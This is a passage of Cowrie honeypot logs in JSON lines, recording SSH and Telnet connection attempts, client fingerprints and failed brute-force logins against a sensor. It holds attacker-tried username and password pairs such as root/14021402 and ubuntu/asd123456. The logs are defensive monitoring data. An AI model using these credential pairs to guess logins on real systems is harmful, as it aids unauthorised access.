88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:41.087723Z","src_ip":"159.203.92.129","session":"751c74c3f13e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexander","password":"alexander","message":"login attempt [alexander/alexander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:41.098073Z","src_ip":"159.203.92.129","session":"751c74c3f13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:42.104299Z","src_ip":"159.203.92.129","session":"751c74c3f13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":59682,"dst_ip":"159.203.135.109","dst_port":22,"session":"840fc4583490","protocol":"ssh","message":"New connection: 124.13.124.212:59682 (159.203.135.109:22) [session: 840fc4583490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:50.616028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:50.620429Z","src_ip":"124.13.124.212","session":"840fc4583490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:50.874412Z","src_ip":"124.13.124.212","session":"840fc4583490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123456","message":"login attempt [ubuntu/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:51.870738Z","src_ip":"124.13.124.212","session":"840fc4583490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:53.112242Z","src_ip":"124.13.124.212","session":"840fc4583490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41056,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f41cc0c77be","protocol":"telnet","message":"New connection: 144.79.218.12:41056 (10.17.0.5:23) [session: 7f41cc0c77be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:47:58.554626Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":15522,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4f8b8e74ff","protocol":"ssh","message":"New connection: 152.32.213.101:15522 (159.203.135.109:22) [session: 9a4f8b8e74ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:23.253049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:23.259225Z","src_ip":"152.32.213.101","session":"9a4f8b8e74ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:23.475992Z","src_ip":"152.32.213.101","session":"9a4f8b8e74ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14021402","message":"login attempt [root/14021402] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:24.336031Z","src_ip":"152.32.213.101","session":"9a4f8b8e74ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38822,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d2130529955","protocol":"ssh","message":"New connection: 159.203.92.129:38822 (159.203.135.109:22) [session: 8d2130529955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:24.413321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:24.417946Z","src_ip":"159.203.92.129","session":"8d2130529955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:24.422649Z","src_ip":"159.203.92.129","session":"8d2130529955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexander","password":"alexander123","message":"login attempt [alexander/alexander123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:24.435796Z","src_ip":"159.203.92.129","session":"8d2130529955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:25.446794Z","src_ip":"159.203.92.129","session":"8d2130529955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:25.556542Z","src_ip":"152.32.213.101","session":"9a4f8b8e74ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":45842,"dst_ip":"10.17.0.5","dst_port":22,"session":"fed948d1181b","protocol":"ssh","message":"New connection: 112.217.199.222:45842 (10.17.0.5:22) [session: fed948d1181b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:29.498394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:29.503583Z","src_ip":"112.217.199.222","session":"fed948d1181b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:29.700036Z","src_ip":"112.217.199.222","session":"fed948d1181b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.948083877563477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:30.502597Z","src_ip":"144.79.218.12","session":"7f41cc0c77be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"hardcore","message":"login attempt [root/hardcore] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:30.508298Z","src_ip":"112.217.199.222","session":"fed948d1181b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:48:31.703523Z","src_ip":"112.217.199.222","session":"fed948d1181b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55734,"dst_ip":"159.203.135.109","dst_port":22,"session":"b277254ce61f","protocol":"ssh","message":"New connection: 159.203.92.129:55734 (159.203.135.109:22) [session: b277254ce61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:09.289993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:09.295712Z","src_ip":"159.203.92.129","session":"b277254ce61f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:09.300579Z","src_ip":"159.203.92.129","session":"b277254ce61f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexandre","password":"alexandre","message":"login attempt [alexandre/alexandre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:09.311157Z","src_ip":"159.203.92.129","session":"b277254ce61f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:10.317611Z","src_ip":"159.203.92.129","session":"b277254ce61f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":33340,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a8b8997584","protocol":"ssh","message":"New connection: 152.32.213.101:33340 (159.203.135.109:22) [session: 07a8b8997584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:21.299960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:21.306829Z","src_ip":"152.32.213.101","session":"07a8b8997584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:21.529904Z","src_ip":"152.32.213.101","session":"07a8b8997584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass","message":"login attempt [ubuntu/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:22.413772Z","src_ip":"152.32.213.101","session":"07a8b8997584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:23.645792Z","src_ip":"152.32.213.101","session":"07a8b8997584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":35198,"dst_ip":"10.17.0.5","dst_port":22,"session":"0af91f00c495","protocol":"ssh","message":"New connection: 112.217.199.222:35198 (10.17.0.5:22) [session: 0af91f00c495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:28.863125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:28.867512Z","src_ip":"112.217.199.222","session":"0af91f00c495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:29.075241Z","src_ip":"112.217.199.222","session":"0af91f00c495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wc123456789","message":"login attempt [root/Wc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:29.937378Z","src_ip":"112.217.199.222","session":"0af91f00c495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:31.147866Z","src_ip":"112.217.199.222","session":"0af91f00c495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37628,"dst_ip":"159.203.135.109","dst_port":22,"session":"a18a33d563c6","protocol":"ssh","message":"New connection: 159.203.92.129:37628 (159.203.135.109:22) [session: a18a33d563c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:54.074933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:49:54.079882Z","src_ip":"159.203.92.129","session":"a18a33d563c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01